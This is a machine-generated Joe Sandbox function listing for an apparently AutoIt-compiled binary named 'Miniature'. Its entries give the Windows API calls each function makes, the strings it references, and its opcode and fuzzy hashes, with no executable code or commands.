Part of subcall function 00FF71F0: CloseHandle.KERNEL32(00000000,?,00FF7836,?,00F9C2B6,?,?), ref: 00FF71FA

InterlockedExchange.KERNEL32(?,000001F6), ref: 00FF783C
LeaveCriticalSection.KERNEL32(?,?,00F9C2B6,?,?), ref: 00FF7843

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: CriticalExchangeInterlockedSection$CloseEnterHandleLeaveObjectSingleTerminateThreadWait
String ID:
API String ID: 3495660284-0
Opcode ID: b06080bcc4453580b25b3fe95ff4a0912ec1e1fca00d65c2f4928477248f8d6e
Instruction ID: ea58d167cce87be0e97a14efa2db7cc882e89f49dfef04ff9e7a7c7780e32c8b
Opcode Fuzzy Hash: b06080bcc4453580b25b3fe95ff4a0912ec1e1fca00d65c2f4928477248f8d6e
Instruction Fuzzy Hash: 39F03A32545312ABD7312F64EC8CAABB729BF4A312B341422F242950A88BBB5805DB60

Function 00FE954A Relevance: 9.0, APIs: 6, Instructions: 23memorysynchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF), ref: 00FE9555
UnloadUserProfile.USERENV(?,?), ref: 00FE9561
CloseHandle.KERNEL32(?), ref: 00FE956A
CloseHandle.KERNEL32(?), ref: 00FE9572
GetProcessHeap.KERNEL32(00000000,?), ref: 00FE957B
HeapFree.KERNEL32(00000000), ref: 00FE9582

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: CloseHandleHeap$FreeObjectProcessProfileSingleUnloadUserWait
String ID:
API String ID: 146765662-0
Opcode ID: 2fe9a219bdf6bd4a358495a179859f0ebaf5df5a1b0a73e54a4eb0426bbdaacb
Instruction ID: aad0946d50746885308663ad21d1439b64125b310ff3e6fd2d53a42fd1e496a0
Opcode Fuzzy Hash: 2fe9a219bdf6bd4a358495a179859f0ebaf5df5a1b0a73e54a4eb0426bbdaacb
Instruction Fuzzy Hash: DBE0C236004201BBDA211FE1EC0C95ABF29FB49722B608220F2559147CCB3B9460DB50

Function 01008CD7 Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 225COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 01008CFD
CharUpperBuffW.USER32(?,?), ref: 01008E0C
VariantClear.OLEAUT32(?), ref: 01008F84

Part of subcall function 00FF7B1D: VariantInit.OLEAUT32(00000000), ref: 00FF7B5D
Part of subcall function 00FF7B1D: VariantCopy.OLEAUT32(00000000,?), ref: 00FF7B66
Part of subcall function 00FF7B1D: VariantClear.OLEAUT32(00000000), ref: 00FF7B72

Strings

Incorrect Parameter format, xrefs: 01008D35, 01008EF7
AUTOIT.ERROR, xrefs: 01008E12

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: Variant$ClearInit$BuffCharCopyUpper
String ID: AUTOIT.ERROR$Incorrect Parameter format
API String ID: 4237274167-1221869570
Opcode ID: 8e1a2737d4d463fa19f874d0d18c14843653a96c20eeba446a74adf43295fd4d
Instruction ID: 9c7047554abcb5fbc26514e2d4e47b26dc173e983300132bdf59f1668969afa0
Opcode Fuzzy Hash: 8e1a2737d4d463fa19f874d0d18c14843653a96c20eeba446a74adf43295fd4d
Instruction Fuzzy Hash: 52919170A083019FD711DF24C88095ABBF5FF99354F04896EF9858B3A1DB34E905CB52

Function 00FF323D Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 195windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00FA436A: _wcscpy.LIBCMT ref: 00FA438D

_memset.LIBCMT ref: 00FF332E
GetMenuItemInfoW.USER32(?,?,00000000,?), ref: 00FF335D
SetMenuItemInfoW.USER32(?,?,00000000,?), ref: 00FF3410
SetMenuDefaultItem.USER32(?,000000FF,00000000), ref: 00FF343E

Strings

0, xrefs: 00FF331A

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: ItemMenu$Info$Default_memset_wcscpy
String ID: 0
API String ID: 4152858687-4108050209
Opcode ID: 8c1b2a767ed130c1c05002f4b06fe0f7fb77e41acc29c190bc89cb75f39fb500
Instruction ID: 9c71731195dfc0cb1da99d7a2e3662666852e38ac456dd90465a02ad91c20267
Opcode Fuzzy Hash: 8c1b2a767ed130c1c05002f4b06fe0f7fb77e41acc29c190bc89cb75f39fb500
Instruction Fuzzy Hash: F851F131A083089BD725EE28C84567BB7E8AF45760F04062DFA95D31E1DB74DE44EB52

Function 00FF2EFA Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 114windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00FF2F67
GetMenuItemInfoW.USER32(00000004,00000000,00000000,?), ref: 00FF2F83
DeleteMenu.USER32(?,00000007,00000000), ref: 00FF2FC9
DeleteMenu.USER32(?,00000000,00000000,?,00000000,00000000,01057890,00000000), ref: 00FF3012

Strings

0, xrefs: 00FF2F5C

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: Menu$Delete$InfoItem_memset
String ID: 0
API String ID: 1173514356-4108050209
Opcode ID: 5cc8d1360a372abb3b2f0fcea6d2a53122131d049f9e41b2a9bb9eb6395bd3f9
Instruction ID: a97dfadae23482e39f6fa6ea50de9a4be3c7a32e1b234173f23496280f86383e
Opcode Fuzzy Hash: 5cc8d1360a372abb3b2f0fcea6d2a53122131d049f9e41b2a9bb9eb6395bd3f9
Instruction Fuzzy Hash: 7F4115716043459FD720DF24CC84B2ABBE4AF84324F10461EFAA5973E1DB74EA04DB52

Function 00FE9A48 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 94windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00FA1A36: _memmove.LIBCMT ref: 00FA1A77

Part of subcall function 00FEB79A: GetClassNameW.USER32(?,?,000000FF), ref: 00FEB7BD

SendMessageW.USER32(?,00000188,00000000,00000000), ref: 00FE9ACC
SendMessageW.USER32(?,0000018A,00000000,00000000), ref: 00FE9ADF
SendMessageW.USER32(?,00000189,?,00000000), ref: 00FE9B0F

Part of subcall function 00FA1821: _memmove.LIBCMT ref: 00FA185B

Strings

ComboBox, xrefs: 00FE9A56
ListBox, xrefs: 00FE9A8B

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: MessageSend$_memmove$ClassName
String ID: ComboBox$ListBox
API String ID: 365058703-1403004172
Opcode ID: c62ad2dc6bcfdfcecb71293b70feda8adc2838c4338e2b64fb190fb18a6472bc
Instruction ID: 6e6bbbac5e1e1c5bfa1b7e50ed75bd03fc208f6c970742fc2039c31176f00dcb
Opcode Fuzzy Hash: c62ad2dc6bcfdfcecb71293b70feda8adc2838c4338e2b64fb190fb18a6472bc
Instruction Fuzzy Hash: 6D2104B1A04104BEDB24EBA1DC85DFFB768EF86360F204129F865972D4DB7C0909A660

Function 01016A0C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 80windowlibraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00F92111: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 00F9214F
Part of subcall function 00F92111: GetStockObject.GDI32(00000011), ref: 00F92163
Part of subcall function 00F92111: SendMessageW.USER32(00000000,00000030,00000000), ref: 00F9216D

SendMessageW.USER32(00000000,00000467,00000000,?), ref: 01016A86
LoadLibraryW.KERNEL32(?), ref: 01016A8D
SendMessageW.USER32(?,00000467,00000000,00000000), ref: 01016AA2
DestroyWindow.USER32(?), ref: 01016AAA

Strings

SysAnimate32, xrefs: 01016A61

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: MessageSend$Window$CreateDestroyLibraryLoadObjectStock
String ID: SysAnimate32
API String ID: 4146253029-1011021900
Opcode ID: 1088bcd8297a5ed23a085272ae28f5ba9c6c93ead8a9e2c82676a92fb89f7616
Instruction ID: e4431474729cd91868df0bea4e4b60d2af7efd2bb323d68ee496697876798335
Opcode Fuzzy Hash: 1088bcd8297a5ed23a085272ae28f5ba9c6c93ead8a9e2c82676a92fb89f7616
Instruction Fuzzy Hash: D721C972100205AFEF618E69DC40EBB77EDFF45324F908518FA9192189D3BBDC519B60

Function 00FF7357 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79filepipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(0000000C), ref: 00FF7377
CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 00FF73AA
GetStdHandle.KERNEL32(0000000C), ref: 00FF73BC
CreateFileW.KERNEL32(nul,40000000,00000002,0000000C,00000003,00000080,00000000), ref: 00FF73F6

Strings

nul, xrefs: 00FF73F1

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: CreateHandle$FilePipe
String ID: nul
API String ID: 4209266947-2873401336
Opcode ID: db4c2442a513fb840fd07549f8c86c98fd67d1bd9d77b616e363b40a4614cc50
Instruction ID: 70cda382fbe0d5827be7a1b0ffaf98b245c0848216f6d31fd165f8a9a84414b8
Opcode Fuzzy Hash: db4c2442a513fb840fd07549f8c86c98fd67d1bd9d77b616e363b40a4614cc50
Instruction Fuzzy Hash: 0F21A97190830EABDB20AF65DC45AA9F7E4AF45730F204A19FEA0D72E4D771D850EB50

Function 00FF7425 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79filepipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F6), ref: 00FF7444
CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 00FF7476
GetStdHandle.KERNEL32(000000F6), ref: 00FF7487
CreateFileW.KERNEL32(nul,80000000,00000001,0000000C,00000003,00000080,00000000), ref: 00FF74C1

Strings

nul, xrefs: 00FF74BC

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: CreateHandle$FilePipe
String ID: nul
API String ID: 4209266947-2873401336
Opcode ID: 40e4d75e05b00691ec7b2571c2d2902cac79ad2370b25e2395699a47e67f4927
Instruction ID: 6c355b664ecdcc9e9a6847361aca0ae2b41c5a05576d3ea70d1922da324a215d
Opcode Fuzzy Hash: 40e4d75e05b00691ec7b2571c2d2902cac79ad2370b25e2395699a47e67f4927
Instruction Fuzzy Hash: 0321A771908309DBDB20EF689C44AA9FBA8AF55730F200B19FAA0D72E0D7719854DB51

Function 00FFB283 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 73COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 00FFB297
GetVolumeInformationW.KERNEL32(?,?,00007FFF,?,00000000,00000000,00000000,00000000), ref: 00FFB2EB
__swprintf.LIBCMT ref: 00FFB304
SetErrorMode.KERNEL32(00000000,00000001,00000000,01020980), ref: 00FFB342

Strings

%lu, xrefs: 00FFB2FE

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: ErrorMode$InformationVolume__swprintf
String ID: %lu
API String ID: 3164766367-685833217
Opcode ID: 47801f05149e2e23f8a9e34b7f2f08a556453bf48d95901215718866c8f76c5a
Instruction ID: a0a1269480012a04487e6c3ea37a81131f2ed174dcdc80d94b2625072b523488
Opcode Fuzzy Hash: 47801f05149e2e23f8a9e34b7f2f08a556453bf48d95901215718866c8f76c5a
Instruction Fuzzy Hash: BA218635A0020DAFCB20DF65CC45DAEB7B8EF89714B104069F905E7251DB35EE45DB61

Function 00FEAC05 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 68windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00FA1821: _memmove.LIBCMT ref: 00FA185B

Part of subcall function 00FEAA52: SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,00000001), ref: 00FEAA6F
Part of subcall function 00FEAA52: GetWindowThreadProcessId.USER32(?,00000000), ref: 00FEAA82
Part of subcall function 00FEAA52: GetCurrentThreadId.KERNEL32 ref: 00FEAA89
Part of subcall function 00FEAA52: AttachThreadInput.USER32(00000000), ref: 00FEAA90

GetFocus.USER32 ref: 00FEAC2A

Part of subcall function 00FEAA9B: GetParent.USER32(?), ref: 00FEAAA9

GetClassNameW.USER32(?,?,00000100), ref: 00FEAC73
EnumChildWindows.USER32(?,00FEACEB), ref: 00FEAC9B
__swprintf.LIBCMT ref: 00FEACB5

Strings

%s%d, xrefs: 00FEACAF

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: Thread$AttachChildClassCurrentEnumFocusInputMessageNameParentProcessSendTimeoutWindowWindows__swprintf_memmove
String ID: %s%d
API String ID: 1941087503-1110647743
Opcode ID: 6e2be4592f9d07b2a2cd36ecc0cbba590a19cc0f9896b67c58c57aac74b20288
Instruction ID: 99e8f7227430530a9857db15b53ffa7c05701f9764b811e1684bc5f6ee19f61a
Opcode Fuzzy Hash: 6e2be4592f9d07b2a2cd36ecc0cbba590a19cc0f9896b67c58c57aac74b20288
Instruction Fuzzy Hash: 3511E475600304ABCF21BFA1DD85FEA376CAB49710F104079FE18AA142CA79A945EB72

Function 00FF22E7 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 49COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 00FF2318

Strings

EXISTS, xrefs: 00FF2340
REMOVE, xrefs: 00FF231E
APPEND, xrefs: 00FF2351
KEYS, xrefs: 00FF232F

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: BuffCharUpper
String ID: APPEND$EXISTS$KEYS$REMOVE
API String ID: 3964851224-769500911
Opcode ID: 1d7ead0317c1ea84dc5501d0074cda1c35a5f8f8c4557274934739085b382e5d
Instruction ID: 33e9e1e4734062dee5cea44e7d1142cdb87125158650821de70a5801f031ae91
Opcode Fuzzy Hash: 1d7ead0317c1ea84dc5501d0074cda1c35a5f8f8c4557274934739085b382e5d
Instruction Fuzzy Hash: AE1170B090012D9BCF00EFA4C8408FEB7B4FF1A304B508054D950572A1DF3A5D06DF50

Function 0100F23E Relevance: 7.7, APIs: 5, Instructions: 247COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,00000000), ref: 0100F2F0
GetProcessIoCounters.KERNEL32(00000000,?), ref: 0100F320
GetProcessMemoryInfo.PSAPI(00000000,?,00000028), ref: 0100F453
CloseHandle.KERNEL32(?), ref: 0100F4D4

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: Process$CloseCountersHandleInfoMemoryOpen
String ID:
API String ID: 2364364464-0
Opcode ID: 26776109e58384df6053a677a56c21c1468a64fca9b88d9ef4d8a44a2fa84423
Instruction ID: ecd27cf4dbe8c29b8d29c22229ceb41e09e11b101fc8a60d059b0278c4ed7123
Opcode Fuzzy Hash: 26776109e58384df6053a677a56c21c1468a64fca9b88d9ef4d8a44a2fa84423
Instruction Fuzzy Hash: 8E81B2716003019FEB21EF28DC82F2EB7E5AF54B14F14885DF999DB2D2DB74A8019B91

Function 01010697 Relevance: 7.6, APIs: 5, Instructions: 144registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00FA1A36: _memmove.LIBCMT ref: 00FA1A77

Part of subcall function 0101147A: CharUpperBuffW.USER32(?,?,?,?,?,?,?,0101040D,?,?), ref: 01011491

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 0101075D
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 0101079C
RegEnumKeyExW.ADVAPI32(?,-00000001,?,?,00000000,00000000,00000000,?), ref: 010107E3
RegCloseKey.ADVAPI32(?,?), ref: 0101080F
RegCloseKey.ADVAPI32(00000000), ref: 0101081C

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: Close$BuffCharConnectEnumOpenRegistryUpper_memmove
String ID:
API String ID: 3440857362-0
Opcode ID: 3801ed46e7d01ac94af0568e1a45a482c1da6ca9865be81d4f6fe826b3ff8da9
Instruction ID: a6c7a7a39490d976b79001cd6157020147bb6f1b18f72348de9b7b6cf276ed92
Opcode Fuzzy Hash: 3801ed46e7d01ac94af0568e1a45a482c1da6ca9865be81d4f6fe826b3ff8da9
Instruction Fuzzy Hash: 82517871208305AFD714EF68CC81E6AB7E8BF84304F00891DF9D587295DB39E945DB52

Function 00FFEBB4 Relevance: 7.6, APIs: 5, Instructions: 135COMMON

Download Yara Rule

APIs

GetPrivateProfileSectionW.KERNEL32(00000003,?,00007FFF,?), ref: 00FFEC62
GetPrivateProfileSectionW.KERNEL32(?,00000001,00000003,?), ref: 00FFEC8B
WritePrivateProfileSectionW.KERNEL32(?,?,?), ref: 00FFECCA

Part of subcall function 00F94D37: __itow.LIBCMT ref: 00F94D62
Part of subcall function 00F94D37: __swprintf.LIBCMT ref: 00F94DAC

WritePrivateProfileStringW.KERNEL32(00000003,00000000,00000000,?), ref: 00FFECEF
WritePrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?), ref: 00FFECF7

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: PrivateProfile$SectionWrite$String$__itow__swprintf
String ID:
API String ID: 1389676194-0
Opcode ID: 55575f8471e0426b7484c5e2734f6feedce66cb036c30552693216b94239c37b
Instruction ID: d55af945c2366f6cd91b1902237e53daa48a99199cb4b48f06eb14cde3bb9605
Opcode Fuzzy Hash: 55575f8471e0426b7484c5e2734f6feedce66cb036c30552693216b94239c37b
Instruction Fuzzy Hash: BB513739A00209DFDF11EF64C981EAEBBF5EF49314B148099E949AB361DB35AD01EB50

Function 0101A67B Relevance: 7.6, APIs: 5, Instructions: 130COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0eae21c429e3ef28b9228b16fb3698576eda04b8a85d67d259ace2687c21e5de
Instruction ID: b3c048e1398f6c1ca7228d69f823c704c148815d0587e19630ff382fa171179e
Opcode Fuzzy Hash: 0eae21c429e3ef28b9228b16fb3698576eda04b8a85d67d259ace2687c21e5de
Instruction Fuzzy Hash: 7641D435A02294EFE760DE68CC44FAABBF4FB09320F140195F997A72D9C7789A41DB50

Function 00F92714 Relevance: 7.6, APIs: 5, Instructions: 111keyboardCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 00F92727
ScreenToClient.USER32(010577B0,?), ref: 00F92744
GetAsyncKeyState.USER32(00000001), ref: 00F92769
GetAsyncKeyState.USER32(00000002), ref: 00F92777

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
